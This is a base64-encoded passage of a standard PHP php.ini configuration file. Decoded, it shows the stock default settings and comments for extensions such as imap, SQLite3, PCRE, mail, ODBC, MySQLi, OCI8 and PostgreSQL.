gaXM6IGRlZmF1bHRfY2hhcnNldCAmYW1wO2x0OyBvdXRwdXRfZW5jb2RpbmcgJmFtcDtsdDsgaWNvbnYub3V0cHV0X2VuY29kaW5nDQo7IFRvIHVzZSBhbiBvdXRwdXQgZW5jb2RpbmcgY29udmVyc2lvbiwgaWNvbnYmYW1wO2Fwb3M7cyBvdXRwdXQgaGFuZGxlciBtdXN0IGJlIHNldA0KOyBvdGhlcndpc2Ugb3V0cHV0IGVuY29kaW5nIGNvbnZlcnNpb24gY2Fubm90IGJlIHBlcmZvcm1lZC4NCjtpY29udi5vdXRwdXRfZW5jb2RpbmcgPQ0KDQpbaW1hcF0NCjsgcnNoL3NzaCBsb2dpbnMgYXJlIGRpc2FibGVkIGJ5IGRlZmF1bHQuIFVzZSB0aGlzIElOSSBlbnRyeSBpZiB5b3Ugd2FudCB0bw0KOyBlbmFibGUgdGhlbS4gTm90ZSB0aGF0IHRoZSBJTUFQIGxpYnJhcnkgZG9lcyBub3QgZmlsdGVyIG1haWxib3ggbmFtZXMgYmVmb3JlDQo7IHBhc3NpbmcgdGhlbSB0byByc2gvc3NoIGNvbW1hbmQsIHRodXMgcGFzc2luZyB1bnRydXN0ZWQgZGF0YSB0byB0aGlzIGZ1bmN0aW9uDQo7IHdpdGggcnNoL3NzaCBlbmFibGVkIGlzIGluc2VjdXJlLg0KO2ltYXAuZW5hYmxlX2luc2VjdXJlX3JzaD0wDQoNCltpbnRsXQ0KO2ludGwuZGVmYXVsdF9sb2NhbGUgPQ0KOyBUaGlzIGRpcmVjdGl2ZSBhbGxvd3MgeW91IHRvIHByb2R1Y2UgUEhQIGVycm9ycyB3aGVuIHNvbWUgZXJyb3INCjsgaGFwcGVucyB3aXRoaW4gaW50bCBmdW5jdGlvbnMuIFRoZSB2YWx1ZSBpcyB0aGUgbGV2ZWwgb2YgdGhlIGVycm9yIHByb2R1Y2VkLg0KOyBEZWZhdWx0IGlzIDAsIHdoaWNoIGRvZXMgbm90IHByb2R1Y2UgYW55IGVycm9ycy4NCjtpbnRsLmVycm9yX2xldmVsID0gRV9XQVJOSU5HDQo7aW50bC51c2VfZXhjZXB0aW9ucyA9IDANCg0KW3NxbGl0ZTNdDQo7IERpcmVjdG9yeSBwb2ludGluZyB0byBTUUxpdGUzIGV4dGVuc2lvbnMNCjsgaHR0cDovL3BocC5uZXQvc3FsaXRlMy5leHRlbnNpb24tZGlyDQo7c3FsaXRlMy5leHRlbnNpb25fZGlyID0NCg0KOyBTUUxpdGUgZGVmZW5zaXZlIG1vZGUgZmxhZyAob25seSBhdmFpbGFibGUgZnJvbSBTUUxpdGUgMy4yNispDQo7IFdoZW4gdGhlIGRlZmVuc2l2ZSBmbGFnIGlzIGVuYWJsZWQsIGxhbmd1YWdlIGZlYXR1cmVzIHRoYXQgYWxsb3cgb3JkaW5hcnkNCjsgU1FMIHRvIGRlbGliZXJhdGVseSBjb3JydXB0IHRoZSBkYXRhYmFzZSBmaWxlIGFyZSBkaXNhYmxlZC4gVGhpcyBmb3JiaWRzDQo7IHdyaXRpbmcgZGlyZWN0bHkgdG8gdGhlIHNjaGVtYSwgc2hhZG93IHRhYmxlcyAoZWcuIEZUUyBkYXRhIHRhYmxlcyksIG9yDQo7IHRoZSBzcWxpdGVfZGJwYWdlIHZpcnR1YWwgdGFibGUuDQo7IGh0dHBzOi8vd3d3LnNxbGl0ZS5vcmcvYzNyZWYvY19kYmNvbmZpZ19kZWZlbnNpdmUuaHRtbA0KOyAoZm9yIG9sZGVyIFNRTGl0ZSB2ZXJzaW9ucywgdGhpcyBmbGFnIGhhcyBubyB1c2UpDQo7c3FsaXRlMy5kZWZlbnNpdmUgPSAxDQoNCltQY3JlXQ0KOyBQQ1JFIGxpYnJhcnkgYmFja3RyYWNraW5nIGxpbWl0Lg0KOyBodHRwOi8vcGhwLm5ldC9wY3JlLmJhY2t0cmFjay1saW1pdA0KO3BjcmUuYmFja3RyYWNrX2xpbWl0PTEwMDAwMA0KDQo7IFBDUkUgbGlicmFyeSByZWN1cnNpb24gbGltaXQuDQo7IFBsZWFzZSBub3RlIHRoYXQgaWYgeW91IHNldCB0aGlzIHZhbHVlIHRvIGEgaGlnaCBudW1iZXIgeW91IG1heSBjb25zdW1lIGFsbA0KOyB0aGUgYXZhaWxhYmxlIHByb2Nlc3Mgc3RhY2sgYW5kIGV2ZW50dWFsbHkgY3Jhc2ggUEhQIChkdWUgdG8gcmVhY2hpbmcgdGhlDQo7IHN0YWNrIHNpemUgbGltaXQgaW1wb3NlZCBieSB0aGUgT3BlcmF0aW5nIFN5c3RlbSkuDQo7IGh0dHA6Ly9waHAubmV0L3BjcmUucmVjdXJzaW9uLWxpbWl0DQo7cGNyZS5yZWN1cnNpb25fbGltaXQ9MTAwMDAwDQoNCjsgRW5hYmxlcyBvciBkaXNhYmxlcyBKSVQgY29tcGlsYXRpb24gb2YgcGF0dGVybnMuIFRoaXMgcmVxdWlyZXMgdGhlIFBDUkUNCjsgbGlicmFyeSB0byBiZSBjb21waWxlZCB3aXRoIEpJVCBzdXBwb3J0Lg0KO3BjcmUuaml0PTENCg0KW1Bkb10NCjsgV2hldGhlciB0byBwb29sIE9EQkMgY29ubmVjdGlvbnMuIENhbiBiZSBvbmUgb2YgJmFtcDtxdW90O3N0cmljdCZhbXA7cXVvdDssICZhbXA7cXVvdDtyZWxheGVkJmFtcDtxdW90OyBvciAmYW1wO3F1b3Q7b2ZmJmFtcDtxdW90Ow0KOyBodHRwOi8vcGhwLm5ldC9wZG8tb2RiYy5jb25uZWN0aW9uLXBvb2xpbmcNCjtwZG9fb2RiYy5jb25uZWN0aW9uX3Bvb2xpbmc9c3RyaWN0DQoNCjtwZG9fb2RiYy5kYjJfaW5zdGFuY2VfbmFtZQ0KDQpbUGRvX215c3FsXQ0KOyBEZWZhdWx0IHNvY2tldCBuYW1lIGZvciBsb2NhbCBNeVNRTCBjb25uZWN0cy4gIElmIGVtcHR5LCB1c2VzIHRoZSBidWlsdC1pbg0KOyBNeVNRTCBkZWZhdWx0cy4NCnBkb19teXNxbC5kZWZhdWx0X3NvY2tldD0NCg0KW1BoYXJdDQo7IGh0dHA6Ly9waHAubmV0L3BoYXIucmVhZG9ubHkNCjtwaGFyLnJlYWRvbmx5ID0gT24NCg0KOyBodHRwOi8vcGhwLm5ldC9waGFyLnJlcXVpcmUtaGFzaA0KO3BoYXIucmVxdWlyZV9oYXNoID0gT24NCg0KO3BoYXIuY2FjaGVfbGlzdCA9DQoNClttYWlsIGZ1bmN0aW9uXQ0KOyBGb3IgV2luMzIgb25seS4NCjsgaHR0cDovL3BocC5uZXQvc210cA0KU01UUCA9IGxvY2FsaG9zdA0KOyBodHRwOi8vcGhwLm5ldC9zbXRwLXBvcnQNCnNtdHBfcG9ydCA9IDI1DQoNCjsgRm9yIFdpbjMyIG9ubHkuDQo7IGh0dHA6Ly9waHAubmV0L3NlbmRtYWlsLWZyb20NCjtzZW5kbWFpbF9mcm9tID0gbWVAZXhhbXBsZS5jb20NCg0KOyBGb3IgVW5peCBvbmx5LiAgWW91IG1heSBzdXBwbHkgYXJndW1lbnRzIGFzIHdlbGwgKGRlZmF1bHQ6ICZhbXA7cXVvdDtzZW5kbWFpbCAtdCAtaSZhbXA7cXVvdDspLg0KOyBodHRwOi8vcGhwLm5ldC9zZW5kbWFpbC1wYXRoDQo7c2VuZG1haWxfcGF0aCA9DQoNCjsgRm9yY2UgdGhlIGFkZGl0aW9uIG9mIHRoZSBzcGVjaWZpZWQgcGFyYW1ldGVycyB0byBiZSBwYXNzZWQgYXMgZXh0cmEgcGFyYW1ldGVycw0KOyB0byB0aGUgc2VuZG1haWwgYmluYXJ5LiBUaGVzZSBwYXJhbWV0ZXJzIHdpbGwgYWx3YXlzIHJlcGxhY2UgdGhlIHZhbHVlIG9mDQo7IHRoZSA1dGggcGFyYW1ldGVyIHRvIG1haWwoKS4NCjttYWlsLmZvcmNlX2V4dHJhX3BhcmFtZXRlcnMgPQ0KDQo7IEFkZCBYLVBIUC1PcmlnaW5hdGluZy1TY3JpcHQ6IHRoYXQgd2lsbCBpbmNsdWRlIHVpZCBvZiB0aGUgc2NyaXB0IGZvbGxvd2VkIGJ5IHRoZSBmaWxlbmFtZQ0KbWFpbC5hZGRfeF9oZWFkZXIgPSBPZmYNCg0KOyBUaGUgcGF0aCB0byBhIGxvZyBmaWxlIHRoYXQgd2lsbCBsb2cgYWxsIG1haWwoKSBjYWxscy4gTG9nIGVudHJpZXMgaW5jbHVkZQ0KOyB0aGUgZnVsbCBwYXRoIG9mIHRoZSBzY3JpcHQsIGxpbmUgbnVtYmVyLCBUbyBhZGRyZXNzIGFuZCBoZWFkZXJzLg0KO21haWwubG9nID0NCjsgTG9nIG1haWwgdG8gc3lzbG9nIChFdmVudCBMb2cgb24gV2luZG93cykuDQo7bWFpbC5sb2cgPSBzeXNsb2cNCg0KW09EQkNdDQo7IGh0dHA6Ly9waHAubmV0L29kYmMuZGVmYXVsdC1kYg0KO29kYmMuZGVmYXVsdF9kYiAgICA9ICBOb3QgeWV0IGltcGxlbWVudGVkDQoNCjsgaHR0cDovL3BocC5uZXQvb2RiYy5kZWZhdWx0LXVzZXINCjtvZGJjLmRlZmF1bHRfdXNlciAgPSAgTm90IHlldCBpbXBsZW1lbnRlZA0KDQo7IGh0dHA6Ly9waHAubmV0L29kYmMuZGVmYXVsdC1wdw0KO29kYmMuZGVmYXVsdF9wdyAgICA9ICBOb3QgeWV0IGltcGxlbWVudGVkDQoNCjsgQ29udHJvbHMgdGhlIE9EQkMgY3Vyc29yIG1vZGVsLg0KOyBEZWZhdWx0OiBTUUxfQ1VSU09SX1NUQVRJQyAoZGVmYXVsdCkuDQo7b2RiYy5kZWZhdWx0X2N1cnNvcnR5cGUNCg0KOyBBbGxvdyBvciBwcmV2ZW50IHBlcnNpc3RlbnQgbGlua3MuDQo7IGh0dHA6Ly9waHAubmV0L29kYmMuYWxsb3ctcGVyc2lzdGVudA0Kb2RiYy5hbGxvd19wZXJzaXN0ZW50ID0gT24NCg0KOyBDaGVjayB0aGF0IGEgY29ubmVjdGlvbiBpcyBzdGlsbCB2YWxpZCBiZWZvcmUgcmV1c2UuDQo7IGh0dHA6Ly9waHAubmV0L29kYmMuY2hlY2stcGVyc2lzdGVudA0Kb2RiYy5jaGVja19wZXJzaXN0ZW50ID0gT24NCg0KOyBNYXhpbXVtIG51bWJlciBvZiBwZXJzaXN0ZW50IGxpbmtzLiAgLTEgbWVhbnMgbm8gbGltaXQuDQo7IGh0dHA6Ly9waHAubmV0L29kYmMubWF4LXBlcnNpc3RlbnQNCm9kYmMubWF4X3BlcnNpc3RlbnQgPSAtMQ0KDQo7IE1heGltdW0gbnVtYmVyIG9mIGxpbmtzIChwZXJzaXN0ZW50ICsgbm9uLXBlcnNpc3RlbnQpLiAgLTEgbWVhbnMgbm8gbGltaXQuDQo7IGh0dHA6Ly9waHAubmV0L29kYmMubWF4LWxpbmtzDQpvZGJjLm1heF9saW5rcyA9IC0xDQoNCjsgSGFuZGxpbmcgb2YgTE9ORyBmaWVsZHMuICBSZXR1cm5zIG51bWJlciBvZiBieXRlcyB0byB2YXJpYWJsZXMuICAwIG1lYW5zDQo7IHBhc3N0aHJ1Lg0KOyBodHRwOi8vcGhwLm5ldC9vZGJjLmRlZmF1bHRscmwNCm9kYmMuZGVmYXVsdGxybCA9IDQwOTYNCg0KOyBIYW5kbGluZyBvZiBiaW5hcnkgZGF0YS4gIDAgbWVhbnMgcGFzc3RocnUsIDEgcmV0dXJuIGFzIGlzLCAyIGNvbnZlcnQgdG8gY2hhci4NCjsgU2VlIHRoZSBkb2N1bWVudGF0aW9uIG9uIG9kYmNfYmlubW9kZSBhbmQgb2RiY19sb25ncmVhZGxlbiBmb3IgYW4gZXhwbGFuYXRpb24NCjsgb2Ygb2RiYy5kZWZhdWx0bHJsIGFuZCBvZGJjLmRlZmF1bHRiaW5tb2RlDQo7IGh0dHA6Ly9waHAubmV0L29kYmMuZGVmYXVsdGJpbm1vZGUNCm9kYmMuZGVmYXVsdGJpbm1vZGUgPSAxDQoNCltJbnRlcmJhc2VdDQo7IEFsbG93IG9yIHByZXZlbnQgcGVyc2lzdGVudCBsaW5rcy4NCmliYXNlLmFsbG93X3BlcnNpc3RlbnQgPSAxDQoNCjsgTWF4aW11bSBudW1iZXIgb2YgcGVyc2lzdGVudCBsaW5rcy4gIC0xIG1lYW5zIG5vIGxpbWl0Lg0KaWJhc2UubWF4X3BlcnNpc3RlbnQgPSAtMQ0KDQo7IE1heGltdW0gbnVtYmVyIG9mIGxpbmtzIChwZXJzaXN0ZW50ICsgbm9uLXBlcnNpc3RlbnQpLiAgLTEgbWVhbnMgbm8gbGltaXQuDQppYmFzZS5tYXhfbGlua3MgPSAtMQ0KDQo7IERlZmF1bHQgZGF0YWJhc2UgbmFtZSBmb3IgaWJhc2VfY29ubmVjdCgpLg0KO2liYXNlLmRlZmF1bHRfZGIgPQ0KDQo7IERlZmF1bHQgdXNlcm5hbWUgZm9yIGliYXNlX2Nvbm5lY3QoKS4NCjtpYmFzZS5kZWZhdWx0X3VzZXIgPQ0KDQo7IERlZmF1bHQgcGFzc3dvcmQgZm9yIGliYXNlX2Nvbm5lY3QoKS4NCjtpYmFzZS5kZWZhdWx0X3Bhc3N3b3JkID0NCg0KOyBEZWZhdWx0IGNoYXJzZXQgZm9yIGliYXNlX2Nvbm5lY3QoKS4NCjtpYmFzZS5kZWZhdWx0X2NoYXJzZXQgPQ0KDQo7IERlZmF1bHQgdGltZXN0YW1wIGZvcm1hdC4NCmliYXNlLnRpbWVzdGFtcGZvcm1hdCA9ICZhbXA7cXVvdDslWS0lbS0lZCAlSDolTTolUyZhbXA7cXVvdDsNCg0KOyBEZWZhdWx0IGRhdGUgZm9ybWF0Lg0KaWJhc2UuZGF0ZWZvcm1hdCA9ICZhbXA7cXVvdDslWS0lbS0lZCZhbXA7cXVvdDsNCg0KOyBEZWZhdWx0IHRpbWUgZm9ybWF0Lg0KaWJhc2UudGltZWZvcm1hdCA9ICZhbXA7cXVvdDslSDolTTolUyZhbXA7cXVvdDsNCg0KW015U1FMaV0NCg0KOyBNYXhpbXVtIG51bWJlciBvZiBwZXJzaXN0ZW50IGxpbmtzLiAgLTEgbWVhbnMgbm8gbGltaXQuDQo7IGh0dHA6Ly9waHAubmV0L215c3FsaS5tYXgtcGVyc2lzdGVudA0KbXlzcWxpLm1heF9wZXJzaXN0ZW50ID0gLTENCg0KOyBBbGxvdyBhY2Nlc3NpbmcsIGZyb20gUEhQJmFtcDthcG9zO3MgcGVyc3BlY3RpdmUsIGxvY2FsIGZpbGVzIHdpdGggTE9BRCBEQVRBIHN0YXRlbWVudHMNCjsgaHR0cDovL3BocC5uZXQvbXlzcWxpLmFsbG93X2xvY2FsX2luZmlsZQ0KbXlzcWxpLmFsbG93X2xvY2FsX2luZmlsZSA9IE9uDQoNCjsgQWxsb3cgb3IgcHJldmVudCBwZXJzaXN0ZW50IGxpbmtzLg0KOyBodHRwOi8vcGhwLm5ldC9teXNxbGkuYWxsb3ctcGVyc2lzdGVudA0KbXlzcWxpLmFsbG93X3BlcnNpc3RlbnQgPSBPbg0KDQo7IE1heGltdW0gbnVtYmVyIG9mIGxpbmtzLiAgLTEgbWVhbnMgbm8gbGltaXQuDQo7IGh0dHA6Ly9waHAubmV0L215c3FsaS5tYXgtbGlua3MNCm15c3FsaS5tYXhfbGlua3MgPSAtMQ0KDQo7IERlZmF1bHQgcG9ydCBudW1iZXIgZm9yIG15c3FsaV9jb25uZWN0KCkuICBJZiB1bnNldCwgbXlzcWxpX2Nvbm5lY3QoKSB3aWxsIHVzZQ0KOyB0aGUgJE1ZU1FMX1RDUF9QT1JUIG9yIHRoZSBteXNxbC10Y3AgZW50cnkgaW4gL2V0Yy9zZXJ2aWNlcyBvciB0aGUNCjsgY29tcGlsZS10aW1lIHZhbHVlIGRlZmluZWQgTVlTUUxfUE9SVCAoaW4gdGhhdCBvcmRlcikuICBXaW4zMiB3aWxsIG9ubHkgbG9vaw0KOyBhdCBNWVNRTF9QT1JULg0KOyBodHRwOi8vcGhwLm5ldC9teXNxbGkuZGVmYXVsdC1wb3J0DQpteXNxbGkuZGVmYXVsdF9wb3J0ID0gMzMwNg0KDQo7IERlZmF1bHQgc29ja2V0IG5hbWUgZm9yIGxvY2FsIE15U1FMIGNvbm5lY3RzLiAgSWYgZW1wdHksIHVzZXMgdGhlIGJ1aWx0LWluDQo7IE15U1FMIGRlZmF1bHRzLg0KOyBodHRwOi8vcGhwLm5ldC9teXNxbGkuZGVmYXVsdC1zb2NrZXQNCm15c3FsaS5kZWZhdWx0X3NvY2tldCA9DQoNCjsgRGVmYXVsdCBob3N0IGZvciBteXNxbF9jb25uZWN0KCkgKGRvZXNuJmFtcDthcG9zO3QgYXBwbHkgaW4gc2FmZSBtb2RlKS4NCjsgaHR0cDovL3BocC5uZXQvbXlzcWxpLmRlZmF1bHQtaG9zdA0KbXlzcWxpLmRlZmF1bHRfaG9zdCA9DQoNCjsgRGVmYXVsdCB1c2VyIGZvciBteXNxbF9jb25uZWN0KCkgKGRvZXNuJmFtcDthcG9zO3QgYXBwbHkgaW4gc2FmZSBtb2RlKS4NCjsgaHR0cDovL3BocC5uZXQvbXlzcWxpLmRlZmF1bHQtdXNlcg0KbXlzcWxpLmRlZmF1bHRfdXNlciA9DQoNCjsgRGVmYXVsdCBwYXNzd29yZCBmb3IgbXlzcWxpX2Nvbm5lY3QoKSAoZG9lc24mYW1wO2Fwb3M7dCBhcHBseSBpbiBzYWZlIG1vZGUpLg0KOyBOb3RlIHRoYXQgdGhpcyBpcyBnZW5lcmFsbHkgYSAqYmFkKiBpZGVhIHRvIHN0b3JlIHBhc3N3b3JkcyBpbiB0aGlzIGZpbGUuDQo7ICpBbnkqIHVzZXIgd2l0aCBQSFAgYWNjZXNzIGNhbiBydW4gJmFtcDthcG9zO2VjaG8gZ2V0X2NmZ192YXIoJmFtcDtxdW90O215c3FsaS5kZWZhdWx0X3B3JmFtcDtxdW90OykNCjsgYW5kIHJldmVhbCB0aGlzIHBhc3N3b3JkISAgQW5kIG9mIGNvdXJzZSwgYW55IHVzZXJzIHdpdGggcmVhZCBhY2Nlc3MgdG8gdGhpcw0KOyBmaWxlIHdpbGwgYmUgYWJsZSB0byByZXZlYWwgdGhlIHBhc3N3b3JkIGFzIHdlbGwuDQo7IGh0dHA6Ly9waHAubmV0L215c3FsaS5kZWZhdWx0LXB3DQpteXNxbGkuZGVmYXVsdF9wdyA9DQoNCjsgQWxsb3cgb3IgcHJldmVudCByZWNvbm5lY3QNCm15c3FsaS5yZWNvbm5lY3QgPSBPZmYNCg0KW215c3FsbmRdDQo7IEVuYWJsZSAvIERpc2FibGUgY29sbGVjdGlvbiBvZiBnZW5lcmFsIHN0YXRpc3RpY3MgYnkgbXlzcWxuZCB3aGljaCBjYW4gYmUNCjsgdXNlZCB0byB0dW5lIGFuZCBtb25pdG9yIE15U1FMIG9wZXJhdGlvbnMuDQpteXNxbG5kLmNvbGxlY3Rfc3RhdGlzdGljcyA9IE9uDQoNCjsgRW5hYmxlIC8gRGlzYWJsZSBjb2xsZWN0aW9uIG9mIG1lbW9yeSB1c2FnZSBzdGF0aXN0aWNzIGJ5IG15c3FsbmQgd2hpY2ggY2FuIGJlDQo7IHVzZWQgdG8gdHVuZSBhbmQgbW9uaXRvciBNeVNRTCBvcGVyYXRpb25zLg0KbXlzcWxuZC5jb2xsZWN0X21lbW9yeV9zdGF0aXN0aWNzID0gT24NCg0KOyBSZWNvcmRzIGNvbW11bmljYXRpb24gZnJvbSBhbGwgZXh0ZW5zaW9ucyB1c2luZyBteXNxbG5kIHRvIHRoZSBzcGVjaWZpZWQgbG9nDQo7IGZpbGUuDQo7IGh0dHA6Ly9waHAubmV0L215c3FsbmQuZGVidWcNCjtteXNxbG5kLmRlYnVnID0NCg0KOyBEZWZpbmVzIHdoaWNoIHF1ZXJpZXMgd2lsbCBiZSBsb2dnZWQuDQo7bXlzcWxuZC5sb2dfbWFzayA9IDANCg0KOyBEZWZhdWx0IHNpemUgb2YgdGhlIG15c3FsbmQgbWVtb3J5IHBvb2wsIHdoaWNoIGlzIHVzZWQgYnkgcmVzdWx0IHNldHMuDQo7bXlzcWxuZC5tZW1wb29sX2RlZmF1bHRfc2l6ZSA9IDE2MDAwDQoNCjsgU2l6ZSBvZiBhIHByZS1hbGxvY2F0ZWQgYnVmZmVyIHVzZWQgd2hlbiBzZW5kaW5nIGNvbW1hbmRzIHRvIE15U1FMIGluIGJ5dGVzLg0KO215c3FsbmQubmV0X2NtZF9idWZmZXJfc2l6ZSA9IDIwNDgNCg0KOyBTaXplIG9mIGEgcHJlLWFsbG9jYXRlZCBidWZmZXIgdXNlZCBmb3IgcmVhZGluZyBkYXRhIHNlbnQgYnkgdGhlIHNlcnZlciBpbg0KOyBieXRlcy4NCjtteXNxbG5kLm5ldF9yZWFkX2J1ZmZlcl9zaXplID0gMzI3NjgNCg0KOyBUaW1lb3V0IGZvciBuZXR3b3JrIHJlcXVlc3RzIGluIHNlY29uZHMuDQo7bXlzcWxuZC5uZXRfcmVhZF90aW1lb3V0ID0gMzE1MzYwMDANCg0KOyBTSEEtMjU2IEF1dGhlbnRpY2F0aW9uIFBsdWdpbiByZWxhdGVkLiBGaWxlIHdpdGggdGhlIE15U1FMIHNlcnZlciBwdWJsaWMgUlNBDQo7IGtleS4NCjtteXNxbG5kLnNoYTI1Nl9zZXJ2ZXJfcHVibGljX2tleSA9DQoNCltPQ0k4XQ0KDQo7IENvbm5lY3Rpb246IEVuYWJsZXMgcHJpdmlsZWdlZCBjb25uZWN0aW9ucyB1c2luZyBleHRlcm5hbA0KOyBjcmVkZW50aWFscyAoT0NJX1NZU09QRVIsIE9DSV9TWVNEQkEpDQo7IGh0dHA6Ly9waHAubmV0L29jaTgucHJpdmlsZWdlZC1jb25uZWN0DQo7b2NpOC5wcml2aWxlZ2VkX2Nvbm5lY3QgPSBPZmYNCg0KOyBDb25uZWN0aW9uOiBUaGUgbWF4aW11bSBudW1iZXIgb2YgcGVyc2lzdGVudCBPQ0k4IGNvbm5lY3Rpb25zIHBlcg0KOyBwcm9jZXNzLiBVc2luZyAtMSBtZWFucyBubyBsaW1pdC4NCjsgaHR0cDovL3BocC5uZXQvb2NpOC5tYXgtcGVyc2lzdGVudA0KO29jaTgubWF4X3BlcnNpc3RlbnQgPSAtMQ0KDQo7IENvbm5lY3Rpb246IFRoZSBtYXhpbXVtIG51bWJlciBvZiBzZWNvbmRzIGEgcHJvY2VzcyBpcyBhbGxvd2VkIHRvDQo7IG1haW50YWluIGFuIGlkbGUgcGVyc2lzdGVudCBjb25uZWN0aW9uLiBVc2luZyAtMSBtZWFucyBpZGxlDQo7IHBlcnNpc3RlbnQgY29ubmVjdGlvbnMgd2lsbCBiZSBtYWludGFpbmVkIGZvcmV2ZXIuDQo7IGh0dHA6Ly9waHAubmV0L29jaTgucGVyc2lzdGVudC10aW1lb3V0DQo7b2NpOC5wZXJzaXN0ZW50X3RpbWVvdXQgPSAtMQ0KDQo7IENvbm5lY3Rpb246IFRoZSBudW1iZXIgb2Ygc2Vjb25kcyB0aGF0IG11c3QgcGFzcyBiZWZvcmUgaXNzdWluZyBhDQo7IHBpbmcgZHVyaW5nIG9jaV9wY29ubmVjdCgpIHRvIGNoZWNrIHRoZSBjb25uZWN0aW9uIHZhbGlkaXR5LiBXaGVuDQo7IHNldCB0byAwLCBlYWNoIG9jaV9wY29ubmVjdCgpIHdpbGwgY2F1c2UgYSBwaW5nLiBVc2luZyAtMSBkaXNhYmxlcw0KOyBwaW5ncyBjb21wbGV0ZWx5Lg0KOyBodHRwOi8vcGhwLm5ldC9vY2k4LnBpbmctaW50ZXJ2YWwNCjtvY2k4LnBpbmdfaW50ZXJ2YWwgPSA2MA0KDQo7IENvbm5lY3Rpb246IFNldCB0aGlzIHRvIGEgdXNlciBjaG9zZW4gY29ubmVjdGlvbiBjbGFzcyB0byBiZSB1c2VkDQo7IGZvciBhbGwgcG9vbGVkIHNlcnZlciByZXF1ZXN0cyB3aXRoIE9yYWNsZSAxMWcgRGF0YWJhc2UgUmVzaWRlbnQNCjsgQ29ubmVjdGlvbiBQb29saW5nIChEUkNQKS4gIFRvIHVzZSBEUkNQLCB0aGlzIHZhbHVlIHNob3VsZCBiZSBzZXQgdG8NCjsgdGhlIHNhbWUgc3RyaW5nIGZvciBhbGwgd2ViIHNlcnZlcnMgcnVubmluZyB0aGUgc2FtZSBhcHBsaWNhdGlvbiwNCjsgdGhlIGRhdGFiYXNlIHBvb2wgbXVzdCBiZSBjb25maWd1cmVkLCBhbmQgdGhlIGNvbm5lY3Rpb24gc3RyaW5nIG11c3QNCjsgc3BlY2lmeSB0byB1c2UgYSBwb29sZWQgc2VydmVyLg0KO29jaTguY29ubmVjdGlvbl9jbGFzcyA9DQoNCjsgSGlnaCBBdmFpbGFiaWxpdHk6IFVzaW5nIE9uIGxldHMgUEhQIHJlY2VpdmUgRmFzdCBBcHBsaWNhdGlvbg0KOyBOb3RpZmljYXRpb24gKEZBTikgZXZlbnRzIGdlbmVyYXRlZCB3aGVuIGEgZGF0YWJhc2Ugbm9kZSBmYWlscy4gVGhlDQo7IGRhdGFiYXNlIG11c3QgYWxzbyBiZSBjb25maWd1cmVkIHRvIHBvc3QgRkFOIGV2ZW50cy4NCjtvY2k4LmV2ZW50cyA9IE9mZg0KDQo7IFR1bmluZzogVGhpcyBvcHRpb24gZW5hYmxlcyBzdGF0ZW1lbnQgY2FjaGluZywgYW5kIHNwZWNpZmllcyBob3cNCjsgbWFueSBzdGF0ZW1lbnRzIHRvIGNhY2hlLiBVc2luZyAwIGRpc2FibGVzIHN0YXRlbWVudCBjYWNoaW5nLg0KOyBodHRwOi8vcGhwLm5ldC9vY2k4LnN0YXRlbWVudC1jYWNoZS1zaXplDQo7b2NpOC5zdGF0ZW1lbnRfY2FjaGVfc2l6ZSA9IDIwDQoNCjsgVHVuaW5nOiBFbmFibGVzIHN0YXRlbWVudCBwcmVmZXRjaGluZyBhbmQgc2V0cyB0aGUgZGVmYXVsdCBudW1iZXIgb2YNCjsgcm93cyB0aGF0IHdpbGwgYmUgZmV0Y2hlZCBhdXRvbWF0aWNhbGx5IGFmdGVyIHN0YXRlbWVudCBleGVjdXRpb24uDQo7IGh0dHA6Ly9waHAubmV0L29jaTguZGVmYXVsdC1wcmVmZXRjaA0KO29jaTguZGVmYXVsdF9wcmVmZXRjaCA9IDEwMA0KDQo7IENvbXBhdGliaWxpdHkuIFVzaW5nIE9uIG1lYW5zIG9jaV9jbG9zZSgpIHdpbGwgbm90IGNsb3NlDQo7IG9jaV9jb25uZWN0KCkgYW5kIG9jaV9uZXdfY29ubmVjdCgpIGNvbm5lY3Rpb25zLg0KOyBodHRwOi8vcGhwLm5ldC9vY2k4Lm9sZC1vY2ktY2xvc2Utc2VtYW50aWNzDQo7b2NpOC5vbGRfb2NpX2Nsb3NlX3NlbWFudGljcyA9IE9mZg0KDQpbUG9zdGdyZVNRTF0NCjsgQWxsb3cgb3IgcHJldmVudCBwZXJzaXN0ZW50IGxpbmtzLg0KOyBodHRwOi8vcGhwLm5ldC9wZ3NxbC5hbGxvdy1wZXJzaXN0ZW50DQpwZ3NxbC5hbGxvd19wZXJzaXN0ZW50ID0gT24NCg0KOyBEZXRlY3QgYnJva2VuIHBlcnNpc3RlbnQgbGlua3MgYWx3YXlzIHdpdGggcGdfcGNvbm5lY3QoKS4NCjsgQXV0byByZXNldCBmZWF0dXJlIHJlcXVpcmVzIGEgbGl0dGxlIG92ZXJoZWFkcy4NCjsgaHR0cDovL3BocC5uZXQvcGdzcWwuYXV0by1yZXNldC1wZXJzaXN0ZW50DQpwZ3NxbC5hdXRvX3Jlc2V0X3BlcnNpc3RlbnQgPSBPZmYNCg0KOyBNYXhpbXVtIG51bWJlciBvZiBwZXJzaXN0ZW50IGxpbmtzLiAgLTEgbWVhbnMgbm8gbGltaXQuDQo7IGh0dHA6Ly9waHAubmV0L3Bnc3FsLm1heC1wZXJzaXN0ZW50DQpwZ3NxbC5tYXhfcGVyc2lzdGVudCA9IC0xDQoNCjsgTWF4aW11bSBudW1iZXIgb2YgbGlua3MgKHBlcnNpc3RlbnQrbm9uIHBlcnNpc3RlbnQpLiAgLTEgbWVhbnMgbm8gbGltaXQuDQo7IGh0dHA6Ly9waHAubmV0L3Bnc3FsLm1heC1saW5rcw0KcGdzcWwubWF4X2xpbmtzID0gLTENCg0KOyBJZ25vcmUgUG9zdGdyZVNRTCBiYWNrZW5kcyBOb3RpY2UgbWVzc2FnZSBvciBub3QuDQo7IE5vdGljZSBtZXNzYWdlIGxvZ2dpbmcgcmVxdWlyZSBhIGxpdHRsZSBvdmVyaGVhZHMuDQo7IGh0dHA6Ly9waHAubmV0L3Bnc3FsLmlnbm9yZS1ub3RpY2UNCnBnc3FsLmlnbm9yZV9ub3RpY2UgPSAwDQoNCjsgTG9nIFBvc3RncmVTUUwgYmFja2VuZHMgTm90aWNlIG1lc3NhZ2Ugb3Igbm90Lg0KOyBVbmxlc3MgcGdzcWwuaWdub3JlX25vdGljZT0wLCBtb2R1bGUgY2Fubm90IGxvZyBub3RpY2UgbWVzc2FnZS4NCjsgaHR0cDovL3BocC5uZXQvcGdzcWwubG9nLW5vdGljZQ0KcGdzcWwubG9nX25vdGljZSA9IDANCg0KW2JjbWF0aF0NCjsgTnVtYmVyIG9mIGRlY2ltYWwgZGlnaXRzIGZvciBhbGwgYmNtYXRoIGZ1bmN0aW9ucy4NCjsgaHR0cDovL3BocC5uZXQvYmNtYXRoLn